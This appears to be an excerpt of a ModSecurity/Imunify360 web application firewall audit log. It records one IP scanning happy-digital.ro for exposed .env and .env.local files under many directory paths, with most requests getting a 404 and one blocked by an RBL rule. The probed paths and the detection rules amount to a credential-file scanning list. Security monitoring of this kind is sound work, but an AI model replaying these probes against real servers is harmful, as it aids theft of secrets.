Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/env/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3HgAAAMY"]
Stopwatch: 1789293701149339 10505 (- - -)
Stopwatch2: 1789293701149339 10505; combined=9494, p1=130, p2=9226, p3=86, p4=9, p5=42, sr=56, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--96a91063-Z--

--81ff225c-A--
[13/Sep/2026:13:01:41.171877 +0300] aqZ0hWM7dE9KgIIOpQh3HQAAANU 45.138.12.13 58684 127.0.0.1 7081
--81ff225c-B--
GET /api/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--81ff225c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--81ff225c-E--

--81ff225c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/api/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3HQAAANU"]
Stopwatch: 1789293701149010 22946 (- - -)
Stopwatch2: 1789293701149010 22946; combined=21667, p1=207, p2=21339, p3=68, p4=14, p5=38, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--81ff225c-Z--

--d5c2a917-A--
[13/Sep/2026:13:01:41.178067 +0300] aqZ0hWM7dE9KgIIOpQh3IAAAAMk 45.138.12.13 58706 127.0.0.1 7081
--d5c2a917-B--
GET /dev/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--d5c2a917-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d5c2a917-E--

--d5c2a917-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/dev/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3IAAAAMk"]
Stopwatch: 1789293701172399 5749 (- - -)
Stopwatch2: 1789293701172399 5749; combined=4521, p1=240, p2=4141, p3=96, p4=9, p5=35, sr=88, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5c2a917-Z--

--44a3c07e-A--
[13/Sep/2026:13:01:41.185131 +0300] aqZ0hWM7dE9KgIIOpQh3GwAAANc 45.138.12.13 58690 127.0.0.1 7081
--44a3c07e-B--
GET /app/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--44a3c07e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--44a3c07e-E--

--44a3c07e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/app/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3GwAAANc"]
Stopwatch: 1789293701133941 51299 (- - -)
Stopwatch2: 1789293701133941 51299; combined=50068, p1=247, p2=49751, p3=42, p4=4, p5=24, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--44a3c07e-Z--

--f015c67e-A--
[13/Sep/2026:13:01:41.258562 +0300] aqZ0hTTJ6xTvcJoem7f7SwAAAEI 45.138.12.13 58718 127.0.0.1 7081
--f015c67e-B--
GET /new/.env.local HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--f015c67e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f015c67e-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/new/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/new/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/new/.env.local"] [unique_id "aqZ0hTTJ6xTvcJoem7f7SwAAAEI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/new/.env.local"] [unique_id "aqZ0hTTJ6xTvcJoem7f7SwAAAEI"]
Action: Intercepted (phase 2)
Stopwatch: 1789293701177836 80848 (- - -)
Stopwatch2: 1789293701177836 80848; combined=79412, p1=206, p2=78892, p3=0, p4=0, p5=313, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f015c67e-Z--

--e3ca147d-A--
[13/Sep/2026:13:01:42.163295 +0300] aqZ0hisVWymXUono-eRVUwAAABE 45.138.12.13 58818 127.0.0.1 7081
--e3ca147d-B--
GET /conf/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--e3ca147d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--e3ca147d-E--

--e3ca147d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/conf/.env"] [unique_id "aqZ0hisVWymXUono-eRVUwAAABE"]
Stopwatch: 1789293702158191 5172 (- - -)
Stopwatch2: 1789293702158191 5172; combined=3959, p1=238, p2=3621, p3=54, p4=6, p5=40, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e3ca147d-Z--

--141c9262-A--
[13/Sep/2026:13:01:42.180307 +0300] aqZ0hmM7dE9KgIIOpQh3IQAAAMA 45.138.12.13 58828 127.0.0.1 7081
--141c9262-B--
GET /www/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--141c9262-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--141c9262-E--

--141c9262-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/www/.env"] [unique_id "aqZ0hmM7dE9KgIIOpQh3IQAAAMA"]
Stopwatch: 1789293702175003 5382 (- - -)
Stopwatch2: 1789293702175003 5382; combined=4043, p1=230, p2=3708, p3=61, p4=6, p5=38, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--141c9262-Z--

--d39bc34b-A--
[13/Sep/2026:13:01:42.186570 +0300] aqZ0hmM7dE9KgIIOpQh3IwAAAMc 45.138.12.13 58836 127.0.0.1 7081
--d39bc34b-B--
GET /cron/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--d39bc34b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d39bc34b-E--

--d39bc34b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/cron/.env"] [unique_id "aqZ0hmM7dE9KgIIOpQh3IwAAAMc"]
Stopwatch: 1789293702181457 5231 (- - -)
Stopwatch2: 1789293702181457 5231; combined=4072, p1=280, p2=3698, p3=56, p4=6, p5=32, sr=167, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d39bc34b-Z--

--d70edb24-A--
[13/Sep/2026:13:01:42.192377 +0300] aqZ0hmM7dE9KgIIOpQh3JQAAAMI 45.138.12.13 58848 127.0.0.1 7081
--d70edb24-B--
GET /docker/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--d70edb24-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d70edb24-E--

--d70edb24-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/docker/.env"] [unique_id "aqZ0hmM7dE9KgIIOpQh3JQAAAMI"]
Stopwatch: 1789293702187107 5338 (- - -)
Stopwatch2: 1789293702187107 5338; combined=4126, p1=230, p2=3775, p3=78, p4=7, p5=35, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d70edb24-Z--

--b28bff7a-A--
[13/Sep/2026:13:01:42.192822 +0300] aqZ0hmM7dE9KgIIOpQh3IgAAANQ 45.138.12.13 58838 127.0.0.1 7081
--b28bff7a-B--
GET /docker/app/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--b28bff7a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b28bff7a-E--

--b28bff7a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/docker/app/.env"] [unique_id "aqZ0hmM7dE9KgIIOpQh3IgAAANQ"]
Stopwatch: 1789293702180937 11973 (- - -)
Stopwatch2: 1789293702180937 11973; combined=10832, p1=188, p2=10528, p3=86, p4=4, p5=26, sr=85, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b28bff7a-Z--

--dcecf52f-A--
[13/Sep/2026:13:01:42.221898 +0300] aqZ0hkwu1RSkptiiNIX5fQAAAIY 45.138.12.13 58902 127.0.0.1 7081
--dcecf52f-B--
GET /js/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--dcecf52f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--dcecf52f-E--

--dcecf52f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/js/.env"] [unique_id "aqZ0hkwu1RSkptiiNIX5fQAAAIY"]
Stopwatch: 1789293702216161 5807 (- - -)
Stopwatch2: 1789293702216161 5807; combined=4463, p1=258, p2=4066, p3=93, p4=8, p5=37, sr=133, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dcecf52f-Z--

--7c5ac87e-A--
[13/Sep/2026:13:01:42.226808 +0300] aqZ0hkwu1RSkptiiNIX5fgAAAI4 45.138.12.13 58912 127.0.0.1 7081
--7c5ac87e-B--
GET /laravel/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--7c5ac87e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7c5ac87e-E--

--7c5ac87e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/laravel/.env"] [unique_id "aqZ0hkwu1RSkptiiNIX5fgAAAI4"]
Stopwatch: 1789293702221298 5576 (- - -)
Stopwatch2: 1789293702221298 5576; combined=4120, p1=242, p2=3775, p3=59, p4=7, p5=37, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7c5ac87e-Z--

--58de5619-A--
[13/Sep/2026:13:01:42.227015 +0300] aqZ0hkwu1RSkptiiNIX5fAAAAJQ 45.138.12.13 58898 127.0.0.1 7081
--58de5619-B--
GET /.vscode/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--58de5619-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--58de5619-E--

--58de5619-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
